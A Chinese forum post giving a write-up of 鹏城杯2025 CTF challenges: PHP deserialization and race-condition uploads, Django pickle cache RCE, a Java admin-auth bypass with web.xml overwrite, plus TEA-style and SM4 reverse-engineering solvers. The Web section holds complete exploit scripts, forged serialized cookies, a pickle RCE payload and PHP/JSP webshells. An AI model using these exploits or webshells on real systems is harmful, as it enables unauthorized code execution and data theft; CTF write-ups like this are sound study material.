云栈社区»论坛 › 技术文档「 Note & Doc 」 › 鹏城杯2025 CTF赛题WriteUP：Web漏洞利用与逆向工程深度解析 ...

1230 积分	0 好友	174 主题

发消息

鹏城杯2025 CTF赛题WriteUP：Web漏洞利用与逆向工程深度解析

发表于前天 16:46 | 查看: 18| 回复: 0

本文对鹏城杯2025 CTF赛事中的典型赛题进行技术剖析，涵盖 Web安全、逆向工程、杂项、密码学及 Pwn 等多个方向，提供详细的漏洞利用思路和解题脚本。

0x01 Web 方向

题目名称：ez_php

在登录界面发现 Cookie 经过 Base64 编码，解码后分析其结构，推测存在反序列化利用点。

尝试构造 admin 用户时触发检测机制，需绕过检测。成功绕过后可直接访问 dashboard 页面。

import base64

part1 = b'O:12:"Session\\User":2:{s:22:"\x00Session\\User\x00username";S:5:"\\61dmin";'
part2 = b's:17:"\x00Session\\User\x00vip";b:1;}'

payload = part1 + part2
encoded_cookie = base64.b64encode(payload).decode()
print(encoded_cookie)
# TzoxMjoiU2Vzc2lvblxVc2VyIjoyOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtTOjU6Ilw2MWRtaW4iO3M6MTc6IgBTZXNzaW9uXFVzZXIAdmlwIjtiOjE7fQ==

点击 1.txt 文件时发现 filename 参数，尝试读取 flag.php 但受到限制。

通过构造特殊路径绕过 PHP 检测限制，成功读取 flag.php 内容：

http://192.168.18.22:25005/dashboard.php?filename=flag.php/#!/bin/bash

响应内容：

exit 0
<?php
$flag='flag{8fee436d-176e-4b69-80ce-3b2ed0eee331}';
unset($flag);

题目名称：pcb5-Uplssse

注册登录系统后提示仅 admin 可访问上传页面，检查发现 user_auth 字段。将 is_admin 值修改为 1 实现权限提升：

O:4:"User":4:{s:8:"username";s:5:"admin";s:8:"password";s:5:"admin";s:10:"isLoggedIn";b:1;s:8:"is_admin";i:1;}

Base64 Encoded:
Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjEwOiJpc0xvZ2dlZEluIjtiOjE7czo4OiJpc19hZG1pbiI7aToxO30=

上传功能存在“先存储后检测”的逻辑，可利用条件竞争漏洞。编写多线程 EXP 实现文件上传与触发：

import requests
import threading
import time

BASE_URL = "http://192.168.18.26:25002"
UPLOAD_URL = f"{BASE_URL}/upload.php"
cookies = {
    "user_auth": "Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjEwOiJpc0xvZ2dlZEluIjtiOjE7czo4OiJpc19hZG1pbiI7aToxO30="
}

def attempt_race_condition():
    shell_filename = 'shell.php'
    shell_url = f"{BASE_URL}/{shell_filename}"

    payload = "<?php file_put_contents('shell.php', '<?php @eval($_REQUEST[c]);?>'); ?>"
    padding = "A" * 100000
    payload += padding

    stop_event = threading.Event()
    created_shells = []

    def upload_thread():
        while not stop_event.is_set():
            try:
                files = {'file': ('test.php', payload, 'application/octet-stream')}
                data = {'upload': '上传文件'}
                requests.post(UPLOAD_URL, files=files, data=data, cookies=cookies, timeout=1)
            except:
                pass

    def trigger_thread():
        while not stop_event.is_set():
            try:
                requests.get(UPLOAD_URL, cookies=cookies, timeout=1)
                requests.get(shell_url, timeout=1)
            except:
                pass

    def check_thread():
        while not stop_event.is_set():
            try:
                r = requests.get(shell_url, timeout=2)
                if r.status_code == 200:
                    print(f"\n[+] Shell created successfully: {shell_url}")
                    created_shells.append(shell_url)
                    stop_event.set()
                    return
                r = requests.get(f"{BASE_URL}/tmp/shell.php", timeout=2)
                if r.status_code == 200:
                    tmp_shell = f"{BASE_URL}/tmp/shell.php"
                    print(f"\n[+] Shell created successfully: {tmp_shell}")
                    created_shells.append(tmp_shell)
                    stop_event.set()
                    return
            except:
                pass
            time.sleep(0.5)

    print(" Starting Race Condition Attack (High Concurrency)...")

    threads = []
    for _ in range(30):
        t = threading.Thread(target=upload_thread)
        t.daemon = True
        t.start()
        threads.append(t)

    for _ in range(20):
        t = threading.Thread(target=trigger_thread)
        t.daemon = True
        t.start()
        threads.append(t)

    t_check = threading.Thread(target=check_thread)
    t_check.daemon = True
    t_check.start()
    threads.append(t_check)

    start_time = time.time()
    while time.time() - start_time < 30:
        if stop_event.is_set():
            break
        time.sleep(0.5)
        print(".", end="", flush=True)

    if not stop_event.is_set():
        print("\n[-] Race condition attack timed out.")
        stop_event.set()
        return None

    return created_shells[0] if created_shells else None

if __name__ == "__main__":
    shell_url = attempt_race_condition()
    if shell_url:
        cmd = "cat /flag; cat /flag.txt; ls -la /; env"
        print(f"\n
 Executing command on {shell_url}: {cmd}")
        try:
            r = requests.post(shell_url, data={'c': cmd}, timeout=5)
            print("[+] Command output:")
            print(r.text)

            print(f"\n Trying system() command on {shell_url}: {cmd}")
            r = requests.post(shell_url, data={'c': f"system('{cmd}');"}, timeout=5)
            print("[+] System output:")
            print(r.text)
        except Exception as e:
            print(f"Error executing command: {e}")
    else:
        print("[-] Failed to create shell.")

题目名称：pcb5-ezDjango

漏洞分析

任意文件写入/复制
在 cacheapp/views.py 的 copy_file 视图中存在严重漏洞：

@csrf_exempt
def copy_file(request):
    src = request.POST.get('src', '')
    dst = request.POST.get('dst', '')
    content = read_file_bytes(src)
    with open(dst, 'wb') as dest_file:
        dest_file.write(content)

该接口允许将服务器任意可读文件复制到任意可写路径。

不安全的反序列化
在 cacheapp/views.py 的 cache_trigger 视图中直接调用 Django 缓存获取接口：
```
@csrf_exempt
def cache_trigger(request):
    val = cache.get(key, None)
```
缓存后端配置为 FileBasedCache，使用 Python 的 pickle 模块进行反序列化，控制缓存文件内容可导致任意代码执行。
缓存文件名可预测
Django FileBasedCache 将缓存 Key 转换为固定格式的文件名，例如 Key 为 pwn_key 时文件名为 md5(":1:pwn_key").hexdigest() + ".djcache"。
路径泄露
cache_viewer 接口在读取不存在缓存文件时会报错并泄露完整缓存目录路径。

攻击路径

构造恶意 Pickle 数据，反序列化时执行系统命令。
利用 /upload/ 接口将 Payload 上传到临时目录。
通过 /cache/viewer/ 接口泄露服务器缓存目录。
计算选定 Key 对应的缓存文件名。
使用 /copy/ 接口将 Payload 复制到缓存目录并重命名。
访问 /cache/trigger/ 接口触发 RCE。

EXP 脚本

import requests
import pickle
import subprocess
import hashlib
import os
import sys
import base64
import zlib
import functools

TARGET_URL = "http://192.168.18.27:25003"

class RCE:
    def __init__(self, cmd):
        self.cmd = cmd
    def __reduce__(self):
        return (subprocess.check_output, (self.cmd,))

def generate_payload(command):
    return pickle.dumps(RCE(command), protocol=0)

def exploit(command):
    print(f" Target: {TARGET_URL}")
    print(f"
 Command: {command}")

    class Payload(object):
        def __reduce__(self):
            return (functools.partial(subprocess.check_output, shell=True), (command,))

    expiry_payload = pickle.dumps(None, protocol=0)
    rce_payload = pickle.dumps(Payload(), protocol=0)
    compressed_value = zlib.compress(rce_payload)
    final_payload = expiry_payload + compressed_value

    filename = "exploit.cache"
    files = {'file': (filename, final_payload)}
    upload_url = f"{TARGET_URL}/upload/"

    print(f"
 Uploading payload to {upload_url}...")
    try:
        r = requests.post(upload_url, files=files)
        resp = r.json()
        if resp.get('status') != 'success':
            print(f"[-] Upload failed: {resp}")
            return
        uploaded_path = resp.get('filepath')
        print(f"[+] Upload successful. Path: {uploaded_path}")
    except Exception as e:
        print(f"[-] Upload request failed: {e}")
        return

    cache_key = "pwn_key"
    full_key = f":1:{cache_key}"
    cache_filename = hashlib.md5(full_key.encode()).hexdigest() + ".djcache"
    print(f"
 Calculated cache filename: {cache_filename} (from key '{full_key}')")

    print("
 Discovering cache directory...")
    viewer_url = f"{TARGET_URL}/cache/viewer/"
    try:
        r = requests.post(viewer_url, data={'key': 'nonexistent_key_12345'})
        resp = r.json()
        if resp.get('status') == 'error' and 'Cache file not found: ' in resp.get('message', ''):
            full_path = resp['message'].replace('Cache file not found: ', '')
            cache_dir = os.path.dirname(full_path)
            print(f"[+] Found cache directory: {cache_dir}")
        else:
            print(f"[-] Could not discover cache dir. Using default /tmp/django_cache. Response: {resp}")
            cache_dir = "/tmp/django_cache"
    except Exception as e:
        print(f"[-] Cache discovery failed: {e}")
        cache_dir = "/tmp/django_cache"

    dest_path = f"{cache_dir}/{cache_filename}"
    copy_url = f"{TARGET_URL}/copy/"
    data = {'src': uploaded_path, 'dst': dest_path}
    print(f"
 Copying payload from {uploaded_path} to {dest_path}...")

    try:
        r = requests.post(copy_url, data=data)
        resp = r.json()
        if resp.get('status') != 'success':
            print(f"[-] Copy failed: {resp}")
            return
        print(f"[+] Copy successful.")
    except Exception as e:
        print(f"[-] Copy request failed: {e}")
        return

    trigger_url = f"{TARGET_URL}/cache/trigger/"
    data = {'key': cache_key}
    print(f" Triggering execution via cache key '{cache_key}'...")

    try:
        r = requests.post(trigger_url, data=data)
        resp = r.json()
        if resp.get('status') == 'success':
            print("[+] Exploit triggered successfully!")
            if 'value_b64' in resp:
                output = base64.b64decode(resp['value_b64']).decode('utf-8', errors='ignore')
                print("\n--- Command Output ---\n")
                print(output)
                print("\n----------------------\n")
            elif 'value' in resp:
                print(f"Value: {resp['value']}")
        else:
            print(f"[-] Trigger failed: {resp}")
    except Exception as e:
        print(f"[-] Trigger request failed: {e}")

if __name__ == "__main__":
    cmd = "whoami"
    exploit(cmd)

题目名称：pcb5-ez_java

访问题目环境发现文件管理系统登录页面，通过访问 http://192.168.18.25:25004/admin.html 加载相关接口。分析 admin.js 发现关键接口：/dashboard/list、/dashboard/download、/admin/rename、/admin/challengeResourceDir。

下载所有 class 文件进行分析：

import requests
import os
import time

url = "http://192.168.18.25:25004"
output_dir = "dumped_files"

if not os.path.exists(output_dir):
    os.makedirs(output_dir)

def set_resource_dir(path):
    try:
        r = requests.post(f"{url}/admin/challengeResourceDir", data={"new-path": path})
        if r.status_code == 200:
            print(f"[+] ResourceDir set to: {path}")
            return True
        else:
            print(f"[-] Failed to set ResourceDir: {r.status_code}")
            return False
    except Exception as e:
        print(f"[-] Error setting ResourceDir: {e}")
        return False

def rename_file(old, new):
    try:
        r = requests.post(f"{url}/admin/rename", data={"oldPath": old, "newName": new})
        if r.status_code == 200 and '"renamed":true' in r.text:
            return True
        else:
            print(f"[-] Rename failed ({old} -> {new}): {r.text}")
            return False
    except Exception as e:
        print(f"[-] Error renaming: {e}")
        return False

def download_file(filename, save_path):
    try:
        r = requests.get(f"{url}/{filename}")
        if r.status_code == 200:
            with open(save_path, "wb") as f:
                f.write(r.content)
            print(f"[+] Downloaded: {save_path}")
            return True
        else:
            print(f"[-] Download failed: {r.status_code}")
            return False
    except Exception as e:
        print(f"[-] Error downloading: {e}")
        return False

def process_file(file_path):
    filename = os.path.basename(file_path)
    temp_name = filename + ".txt"

    print(f"\n Processing {file_path}...")
    if rename_file(file_path, temp_name):
        print(f"    Renamed to {temp_name}")
        save_path = os.path.join(output_dir, filename)
        download_file(temp_name, save_path)
        if rename_file(temp_name, file_path):
            print(f"    Restored to {file_path}")
        else:
            print(f"[!] CRITICAL: Failed to restore {file_path}")
    else:
        print("    Skipping download (Rename failed)")

def main():
    if not set_resource_dir("."):
        return

    files = [
        "WEB-INF/web.xml",
        "WEB-INF/classes/com/ctf/AdminDashboardServlet.class",
        "WEB-INF/classes/com/ctf/BackUpServlet.class",
        "WEB-INF/classes/com/ctf/DashboardServlet.class",
        "WEB-INF/classes/com/ctf/DashboardServlet$1.class",
        "WEB-INF/classes/com/ctf/DashboardServlet$Stats.class",
        "WEB-INF/classes/com/ctf/JwtUtil.class",
        "WEB-INF/classes/com/ctf/LoginServlet.class",
        "WEB-INF/classes/com/ctf/RegisterServlet.class",
        "WEB-INF/classes/com/ctf/UserTransactionManager.class",
        "WEB-INF/classes/com/ctf/UserTransactionManager$TransactionListener.class",
        "WEB-INF/classes/com/ctf/UserTransactionManager$UserInfo.class"
    ]

    for f in files:
        process_file(f)

if __name__ == "__main__":
    main()

逆向分析 AdminDashboardServlet.class 发现 validateAdmin 方法存在逻辑漏洞：

static boolean validateAdmin(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    Cookie[] cookies = req.getCookies();
    if (cookies != null) {
        // ... validate jwt ...
    }
    return true; // 无Cookie时直接返回true
}

该漏洞允许在不携带 Cookie 的情况下直接调用 /admin/* 接口。

利用此漏洞，通过覆盖 web.xml 开启 JSP 支持并上传 Webshell：

import requests
import time

url = "http://192.168.18.25:25004"

def pwn_webxml():
    print(" Starting web.xml overwrite attack...")
    try:
        requests.post(f"{url}/admin/challengeResourceDir", data={"new-path": "."})
        print("[+] ResourceDir set to .")
    except:
        pass

    web_xml_content = """<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                            http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
  <display-name>Pwned WebApp</display-name>
  <servlet>
      <servlet-name>jsp</servlet-name>
      <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
      <init-param>
          <param-name>fork</param-name>
          <param-value>false</param-value>
      </init-param>
      <init-param>
          <param-name>xpoweredBy</param-name>
          <param-value>false</param-value>
      </init-param>
      <load-on-startup>3</load-on-startup>
  </servlet>
  <servlet-mapping>
      <servlet-name>jsp</servlet-name>
      <url-pattern>*.jsp</url-pattern>
      <url-pattern>*.jspx</url-pattern>
  </servlet-mapping>
  <servlet>
    <servlet-name>LoginServlet</servlet-name>
    <servlet-class>com.ctf.LoginServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>RegisterServlet</servlet-name>
    <servlet-class>com.ctf.RegisterServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>DashboardServlet</servlet-name>
    <servlet-class>com.ctf.DashboardServlet</servlet-class>
    <multipart-config>
      <max-file-size>10485760</max-file-size>
      <max-request-size>20971520</max-request-size>
      <file-size-threshold>0</file-size-threshold>
    </multipart-config>
  </servlet>
  <servlet>
    <servlet-name>AdminDashboardServlet</servlet-name>
    <servlet-class>com.ctf.AdminDashboardServlet</servlet-class>
    <multipart-config>
      <max-file-size>10485760</max-file-size>
      <max-request-size>20971520</max-request-size>
      <file-size-threshold>0</file-size-threshold>
    </multipart-config>
  </servlet>
  <servlet>
    <servlet-name>BackUpServlet</servlet-name>
    <servlet-class>com.ctf.BackUpServlet</servlet-class>
  </servlet>
  <servlet-mapping>
    <servlet-name>LoginServlet</servlet-name>
    <url-pattern>/login</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>RegisterServlet</servlet-name>
    <url-pattern>/register</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>DashboardServlet</servlet-name>
    <url-pattern>/dashboard/*</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>AdminDashboardServlet</servlet-name>
    <url-pattern>/admin/*</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>BackUpServlet</servlet-name>
    <url-pattern>/backup/*</url-pattern>
  </servlet-mapping>
  <welcome-file-list>
    <welcome-file>index.html</welcome-file>
  </welcome-file-list>
</web-app>"""

    print("
 Uploading new web.xml as web_pwn.xml...")
    files = {'file': ('web_pwn.xml', web_xml_content, 'application/xml')}
    try:
        r = requests.post(f"{url}/dashboard/upload", files=files)
        print(f"    Upload status: {r.status_code}")
    except Exception as e:
        print(f"[-] Upload error: {e}")
        return

    print("
 Overwriting WEB-INF/web.xml...")
    try:
        r = requests.post(f"{url}/admin/rename", data={"oldPath": "web_pwn.xml", "newName": "WEB-INF/web.xml"})
        print(f"    Rename status: {r.status_code}")
    except Exception as e:
        print(f"[-] Rename error: {e}")
        return

    print("
 Waiting 15s for Tomcat reload...")
    time.sleep(15)

    print("
 Re-setting ResourceDir to . after reload...")
    try:
        requests.post(f"{url}/admin/challengeResourceDir", data={"new-path": "."})
    except:
        pass

    shell_content = r'''<%@ page import="java.util.*,java.io.*"%>
<pre>
<%
    if (request.getParameter("cmd") != null) {
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        InputStream in = p.getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\A");
        out.print(s.hasNext() ? s.next() : "");
    }
%>
</pre>'''
    print("
 Uploading shell.jsp...")
    files = {'file': ('shell1.jsp', shell_content, 'application/octet-stream')}
    requests.post(f"{url}/dashboard/upload", files=files)

    print("
 Executing 'env' command...")
    try:
        r = requests.get(f"{url}/shell1.jsp?cmd=env")
        print(f" Output:\n{r.text.strip()}")
    except Exception as e:
        print(f"[-] RCE test error: {e}")

if __name__ == "__main__":
    pwn_webxml()

0x02 Re (逆向工程)

题目名称：moremoreflower

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

#define MASK32 0xFFFFFFFFU
#define DELTA 0x23251156U
#define ROUNDS 30
#define MAX_STATE 1024
#define MAX_SOL 64

typedef struct {
    int bit;
    int carry;
    uint32_t x_low;
    int la4;
} State;

static inline uint32_t u32(uint64_t x) {
    return (uint32_t)(x & MASK32);
}

static inline uint32_t F(uint32_t x, uint32_t s) {
    return u32(((x << 5) ^ (x >> 4) ^ s));
}

int invert_round(uint32_t y, uint32_t s, uint32_t results[]) {
    State *states = static_cast<State *>(malloc(MAX_STATE * sizeof(State)));
    State *next_states = static_cast<State *>(malloc(MAX_STATE * sizeof(State)));
    if (!states || !next_states) {
        if (states) free(states);
        if (next_states) free(next_states);
        return 0;
    }

    int count = 0;
    for (int la4 = 0; la4 < 16; la4++) {
        states[count].bit = 0;
        states[count].carry = 0;
        states[count].x_low = 0;
        states[count].la4 = la4;
        count++;
    }

    for (int bit = 0; bit < 32 && count > 0; bit++) {
        int yb = (y >> bit) & 1;
        int sb = (s >> bit) & 1;
        int next_count = 0;
        for (int i = 0; i < count && next_count < MAX_STATE; i++) {
            int xb = states[i].la4 & 1;
            int b_l5 = (bit >= 5) ? ((states[i].x_low >> (bit - 5)) & 1) : 0;
            int next_bits_max = (bit + 4 >= 32) ? 1 : 2;
            for (int nb = 0; nb < next_bits_max; nb++) {
                int tb = b_l5 ^ nb ^ sb;
                int total = xb + tb + states[i].carry;
                if ((total & 1) != yb) continue;
                int carry2 = (total >> 1) & 1;
                uint32_t x_low2 = states[i].x_low | ((uint32_t)xb << bit);
                int la4_2 = (states[i].la4 >> 1) | (nb << 3);
                next_states[next_count].bit = bit + 1;
                next_states[next_count].carry = carry2;
                next_states[next_count].x_low = x_low2;
                next_states[next_count].la4 = la4_2;
                next_count++;
            }
        }
        State *tmp = states;
        states = next_states;
        next_states = tmp;
        count = next_count;
    }

    int result_count = 0;
    for (int i = 0; i < count && result_count < MAX_SOL; i++) {
        if (states[i].bit == 32) {
            results[result_count++] = u32(states[i].x_low);
        }
    }

    free(states);
    free(next_states);
    return result_count;
}

int decrypt_word(uint32_t cipher, uint32_t results[]) {
    uint32_t *current = static_cast<uint32_t *>(malloc(MAX_SOL * sizeof(uint32_t)));
    uint32_t *next = static_cast<uint32_t *>(malloc(MAX_SOL * sizeof(uint32_t)));
    uint32_t *sols = static_cast<uint32_t *>(malloc(MAX_SOL * sizeof(uint32_t)));
    if (!current || !next || !sols) {
        if (current) free(current);
        if (next) free(next);
        if (sols) free(sols);
        return 0;
    }

    int cur_count = 1;
    current[0] = cipher;
    uint32_t sumv = u32((uint64_t)DELTA * ROUNDS);

    for (int round = 0; round < ROUNDS; round++) {
        int next_count = 0;
        for (int i = 0; i < cur_count; i++) {
            int sol_count = invert_round(current[i], sumv, sols);
            for (int j = 0; j < sol_count; j++) {
                int found = 0;
                for (int k = 0; k < next_count; k++) {
                    if (next[k] == sols[j]) {
                        found = 1;
                        break;
                    }
                }
                if (!found && next_count < MAX_SOL) {
                    next[next_count++] = sols[j];
                }
            }
        }
        uint32_t *tmp = current;
        current = next;
        next = tmp;
        cur_count = next_count;
        sumv = u32(sumv - DELTA);
        if (cur_count == 0) break;
    }

    int result_count = (cur_count < MAX_SOL) ? cur_count : MAX_SOL;
    memcpy(results, current, result_count * sizeof(uint32_t));

    free(current);
    free(next);
    free(sols);
    return result_count;
}

int is_printable(uint8_t b) {
    return (b >= 0x20 && b <= 0x7E);
}

int is_printable_word(uint32_t word, int endian) {
    uint8_t bytes[4];
    if (endian == 0) {
        bytes[0] = (word >> 24) & 0xFF;
        bytes[1] = (word >> 16) & 0xFF;
        bytes[2] = (word >> 8) & 0xFF;
        bytes[3] = word & 0xFF;
    } else {
        bytes[0] = word & 0xFF;
        bytes[1] = (word >> 8) & 0xFF;
        bytes[2] = (word >> 16) & 0xFF;
        bytes[3] = (word >> 24) & 0xFF;
    }
    for (int i = 0; i < 4; i++) {
        if (!is_printable(bytes[i]))
            return 0;
    }
    return 1;
}

void get_bytes(uint32_t word, uint8_t *bytes, int endian) {
    if (endian == 0) {
        bytes[0] = (word >> 24) & 0xFF;
        bytes[1] = (word >> 16) & 0xFF;
        bytes[2] = (word >> 8) & 0xFF;
        bytes[3] = word & 0xFF;
    } else {
        bytes[0] = word & 0xFF;
        bytes[1] = (word >> 8) & 0xFF;
        bytes[2] = (word >> 16) & 0xFF;
        bytes[3] = (word >> 24) & 0xFF;
    }
}

void try_decrypt(uint8_t *cipher, int len) {
    uint32_t *words = static_cast<uint32_t *>(malloc((len / 4 + 1) * sizeof(uint32_t)));
    uint32_t *solutions = static_cast<uint32_t *>(malloc(MAX_SOL * sizeof(uint32_t)));
    char *result = static_cast<char *>(malloc(len + 1));
    char *reversed = static_cast<char *>(malloc(len + 1));
    uint8_t *bytes = static_cast<uint8_t *>(malloc(4 * sizeof(uint8_t)));

    if (!words || !solutions || !result || !reversed || !bytes) {
        printf("Memory allocation failed\n");
        return;
    }

    int word_count = len / 4;
    for (int cin_endian = 0; cin_endian < 2; cin_endian++) {
        for (int i = 0; i < word_count; i++) {
            if (cin_endian == 0) {
                words[i] = (cipher[i*4] << 24) | (cipher[i*4+1] << 16) |
                           (cipher[i*4+2] << 8) | cipher[i*4+3];
            } else {
                words[i] = (cipher[i*4+3] << 24) | (cipher[i*4+2] << 16) |
                           (cipher[i*4+1] << 8) | cipher[i*4];
            }
        }
        for (int pout_endian = 0; pout_endian < 2; pout_endian++) {
            int valid = 1;
            int total_len = 0;
            for (int i = 0; i < word_count; i++) {
                int sol_count = decrypt_word(words[i], solutions);
                int found = 0;
                for (int j = 0; j < sol_count; j++) {
                    if (is_printable_word(solutions[j], pout_endian)) {
                        get_bytes(solutions[j], bytes, pout_endian);
                        memcpy(result + total_len, bytes, 4);
                        total_len += 4;
                        found = 1;
                        break;
                    }
                }
                if (!found) {
                    valid = 0;
                    break;
                }
            }
            if (valid) {
                result[total_len] = '\0';
                printf("Found possible flag (forward, input_endian=%s, output_endian=%s):\n%s\n",
                       cin_endian ? "little" : "big",
                       pout_endian ? "little" : "big",
                       result);
            }
            valid = 1;
            total_len = 0;
            for (int i = word_count - 1; i >= 0; i--) {
                int sol_count = decrypt_word(words[i], solutions);
                int found = 0;
                for (int j = 0; j < sol_count; j++) {
                    if (is_printable_word(solutions[j], pout_endian)) {
                        get_bytes(solutions[j], bytes, pout_endian);
                        memcpy(reversed + total_len, bytes, 4);
                        total_len += 4;
                        found = 1;
                        break;
                    }
                }
                if (!found) {
                    valid = 0;
                    break;
                }
            }
            if (valid) {
                reversed[total_len] = '\0';
                printf("Found possible flag (reversed, input_endian=%s, output_endian=%s):\n%s\n",
                       cin_endian ? "little" : "big",
                       pout_endian ? "little" : "big",
                       reversed);
            }
        }
    }

    free(words);
    free(solutions);
    free(result);
    free(reversed);
    free(bytes);
}

int main() {
    uint8_t cipher[] = {
        0x21,0x7A,0x01,0x1C,
        0x33,0xD3,0x3E,0xF7,
        0x03,0x78,0x25,0x5E,
        0x2F,0xB8,0x8B,0x3B,
        0x93,0x84,0xAE,0x5B,
        0xDE,0xA5,0xD6,0xE9,
    };
    try_decrypt(cipher, sizeof(cipher));
    return 0;
}

Flag: flag{Fl0weRTeAVM15E3s9!}

题目名称：medddgo

# SM4 CTF 逆向题目完整解密脚本
# 包含密钥变换逻辑

SBOX = [0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
        0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
        0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
        0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
        0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
        0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
        0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
        0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
        0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
        0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
        0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
        0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
        0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
        0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
        0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
        0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48]

CK = [
    0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
    0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
    0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
    0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
    0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
    0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
    0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
    0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]

FK = [
    0xa3b1bac6 ^ 0xa5a5a5a5,  # 0x06141f63
    0x56aa3350 ^ 0x3c3c3c3c,  # 0x6a960f6c
    0x677d9197 ^ 0x5a5a5a5a,  # 0x3d27cbcd
    0xb27022dc ^ 0xc3c3c3c3   # 0x71b3e11f
]

def rol(x, n):
    return ((x << n) | (x >> (32 - n))) & 0xffffffff

def rol8(x, n):
    return ((x << n) | (x >> (8 - n))) & 0xff

def tau(x):
    return (
        (SBOX[(x >> 24) & 0xff] << 24) |
        (SBOX[(x >> 16) & 0xff] << 16) |
        (SBOX[(x >> 8)  & 0xff] << 8)  |
        (SBOX[x & 0xff])
    )

def L(x):
    return x ^ rol(x,2) ^ rol(x,10) ^ rol(x,18) ^ rol(x,24)

def L_prime(x):
    return x ^ rol(x,13) ^ rol(x,23)

def transform_key(original_key):
    key = list(original_key)
    v4 = [0] * 16

    for i in range(16):
        idx = (5 * i + 3) & 0xF
        v4[i] = (rol8(key[idx], 1) ^ (11 * i) ^ 0xA5) & 0xff

    for r in range(3):
        for j in range(16):
            v4[j] = (v4[j] ^ ((17 * r + v4[(j + 1) & 0xF] + v4[(j + 5) & 0xF]) & 0xff)) & 0xff

    return bytes(v4)

def key_expansion(key):
    MK = [int.from_bytes(key[i:i+4], 'big') for i in range(0, 16, 4)]
    K = [0] * 36

    for i in range(4):
        K[i] = MK[i] ^ FK[i]

    rk = []
    for i in range(32):
        tmp = K[i+1] ^ K[i+2] ^ K[i+3] ^ CK[i]
        K[i+4] = K[i] ^ L_prime(tau(tmp))
        rk.append(K[i+4])

    return rk

def sm4_decrypt_block(cipher, rk):
    X = [int.from_bytes(cipher[i:i+4], 'big') for i in range(0, 16, 4)]
    rk = rk[::-1]

    for i in range(32):
        t = X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i]
        X.append(X[i] ^ L(tau(t)))

    out = [X[35], X[34], X[33], X[32]]
    return b''.join(x.to_bytes(4, 'big') for x in out)

def sm4_decrypt(ciphertext, key):
    rk = key_expansion(key)
    plaintext = b''
    for i in range(0, len(ciphertext), 16):
        block = ciphertext[i:i+16]
        plaintext += sm4_decrypt_block(block, rk)
    return plaintext

if __name__ == "__main__":
    print("=" * 60)
    print("SM4 CTF 逆向题目 - 完整解密过程")
    print("=" * 60)

    original_key = bytes.fromhex('1023456789abcdef013579bdf0224466')
    print(f"\n原始密钥: {original_key.hex()}")

    transformed_key = transform_key(original_key)
    print(f"变换后密钥: {transformed_key.hex()}")

